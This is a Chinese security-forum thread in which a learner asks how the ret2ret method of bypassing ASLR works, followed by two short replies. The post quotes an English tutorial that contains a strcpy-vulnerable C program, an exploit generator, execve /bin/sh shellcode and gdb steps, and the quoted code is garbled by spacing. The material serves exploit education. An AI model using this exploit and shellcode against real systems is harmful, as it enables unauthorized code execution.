首页
社区
课程
招聘
[旧帖] 关于绕过aslr的问题 0.00雪花
发表于: 2016-6-27 01:26 5551

[旧帖] 关于绕过aslr的问题 0.00雪花

2016-6-27 01:26
5551
下面是其中一种可以绕过ASLR的方法,但该如何理解呢?

我的理解是:
1)因为代码段是不需要随机化的,因此可以关注其中的跳转指令,如:ret
2)通过gdb ret2ret 可知,ret处的地址(代码段地址)为 0x0804840f
3)在 ret2retExploit.c 将 0x0804840f 作为 EIP 的覆盖地址(这里是有疑问的)
4)当执行至 ret 时,esp 将栈顶内容(0x0804840f )pop 至 eip,而程序跳转至 0x0804840f ,(再次)执行 ret。与此同时,esp = esp + 4;
5)重复执行4),直至栈顶内容不再是0x0804840f ,而是 0x90909090(4个nop)或者是 shellcode 的前4个字节。
6)按照文中的说明(我的理解),5)的最后是进入了shellcode......(不理解)

我的不理解主要是:0x0804840f 是代码段的地址,而shellcode 是在栈段中,当执行ret时,如果栈顶的内容是0x0804840f (那好办),则跳转至代码段,继续重复执行ret。但如果栈顶内容是 0x90909090 或 shellcode 的前4个字节(0x6850c031),则要确保之前要将shellcode 复制到 0x90909090 或 0x6850c031 中。但似乎文中并未提及,代码中也并没体现。是否我理解错了?

以下贴出全文:
    Figure 17: ret2ret.c

    v o i d f u n c t i o n ( char ∗ s t r ) {
    char b u f f e r [ 2 5 6 ] ;
    strcpy ( buffer , s t r ) ;
    }

    i n t main ( i n t a r g c , char ∗∗ a r g v ) {
    i n t no = 1 ;
    i n t ∗ p t r = &no ;
    f u n c t i o n ( argv [ 1 ] ) ;
    }


    Figure 18: ret2retExploit.c

    i n t main ( v o i d ) {
    char ∗ b u f f , ∗ p t r ;
    long ∗ a d r p t r ; i n t
    i;
    buff = malloc ( 2 8 0 ) ;
    ptr = buff ;
    a d r p t r = ( long ∗) p t r ;
    f o r ( i = 0 ; i <280; i +=4)
    ∗ ( a d r p t r ++) = 0 x 0 8 0 4 8 4 0 f ;
    f o r ( i = 0 ; i <260; i ++)
    b u f f [ i ] = 0 x90 ;
    ptr = buff +
    (260− s t r l e n ( s h e l l c o d e ) ) ;
    f o r ( i = 0 ; i <s t r l e n ( s h e l l c o d e ) ; i ++)
    ∗ ( p t r ++) = s h e l l c o d e [ i ] ;
    b u f f [ 2 8 0 ] = ’ \0 ’ ;
    p r i n t f ( ”%s ” , b u f f ) ;
    }


    char s h e l l c o d e [ ] =
    ” \ x31 \ xc0 ”
    ” \ x50 ”
    ” \ x68 ” ” / / s h ”
    ” \ x68 ” ” / b i n ”
    ” \ x89 \ xe3 ”
    ” \ x50 ”
    ” \ x53 ”
    ” \ x89 \ xe1 ”
    ” \ x99 ”
    ” \ xb0 \ x0b ”
    ” \ xcd \ x80 ”
    ;


Figure 16: ret2ret illustration


ret2ret

The problem with ASLR is that it is useless to overwrite the return address with a fixed address. The idea of ret2ret is to return to an already existing pointer that points into the shellcode. Already existing pointers must contain valid stack addresses to work. These valid stack addresses are potential pointers to the shellcode.

The attacker does not know anything about the stack addresses, but that does not matter, because he overwrites the instruction pointer by the content of such a potential shellcode pointer.

That sounds easy in theory. But there is a big practical problem: How to use such a pointer as return address? Till now the only way to manipulate the program flow was to overwrite the return instruction pointer directly. But it is not possible to copy something, e.g. the potential shellcode pointer, to this location. Therefore another way is used to get the potential shellcode pointer into the EIP register: return to return to return
to ... to the pointer (see figure 16).

That means it is possible to move hand over hand straight to the shellcode pointer using several ret commands. To understand the chain of returns you
have to recall what a return does: A return means pop eip, i.e. the content of the location where the ESP points to is written to the EIP. Usually this content is the RIP, when ret is called. Furthermore the ESP jumps one location upwards (the stack shrinks).

Imagine the RIP location contains a pointer to a ret command itself, and the location above as well and so on. This would end in a chain of returns: ret2ret.Remember that the addresses of the code segment are not randomized. A ret command can be found in the code segment of every program. So it is no problem to fill the stack with reliable pointers to return commands. The return chain should end right before the potential shellcode pointer, which would be called by the last ret. So the number of returns is variable, based on the offset from the return instruction pointer to the potential shellcode pointer.The potential shellcode pointer must be placed above(that means before) the first RIP, i.e. the pointer has to be older than the vulnerable buffer. But where to find pointers to newer stack frames? Every string and therefore most buffer overflows have to be terminated by a zero byte. Thus the least significant byte of the potential shellcode pointer can be overwritten with a zero.Due to this zero byte the pointer may be smaller than before and from there on it points to newer stack contents - where the shellcode is placed (see figure 16).

This byte alignment only works on a little endian system and a downwards growing stack. Who wants to try this on Sun SPARC?

As an example behold figure 17. This C program comes with a strcpy vulnerability and the potential pointer ptr. What is needed for an exploit is the address of a return command. It can be determined by using gdb as follows:
(gdb) disass main
0x080483d4 <main +0>: lea ...
...
0x0804840f <main+59>: ret

So a possible address to a ret command is 0804840fhex . Another possible address can be find out by disass function. Everything else, like how many ret commands have to placed before the pointer, can be determined by gdb as well. I think I do not have to mention all this issues in detail. But I
want to point out, that such an exploit should contain as much NOP instructions (0x90) as possible to increase the chance of the potential pointer to hit the shellcode. You can find an (often) working exploit for ret2ret in figure 18. Just pass the output of the exploit to the input of ret2ret:

> ./ret2ret ‘./ret2retExploit‘
sh-3.1$

I said it works ”often”, because the address space is randomized by every instantiation and so there will be always a remaining risk, that the shellcode pointer do not lead to its goal (after the byte alignment).

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

上传的附件:
收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 74
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
有人知道吗?
2016-6-27 16:02
0
雪    币: 46
活跃值: (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
你理解的没错,shellcode复制到的地址是需要计算和不停尝试的,你看的文档里没给出详细步骤而已,可以找其它资料参考。
2016-6-28 20:31
0
游客
登录 | 注册 方可回帖
返回
//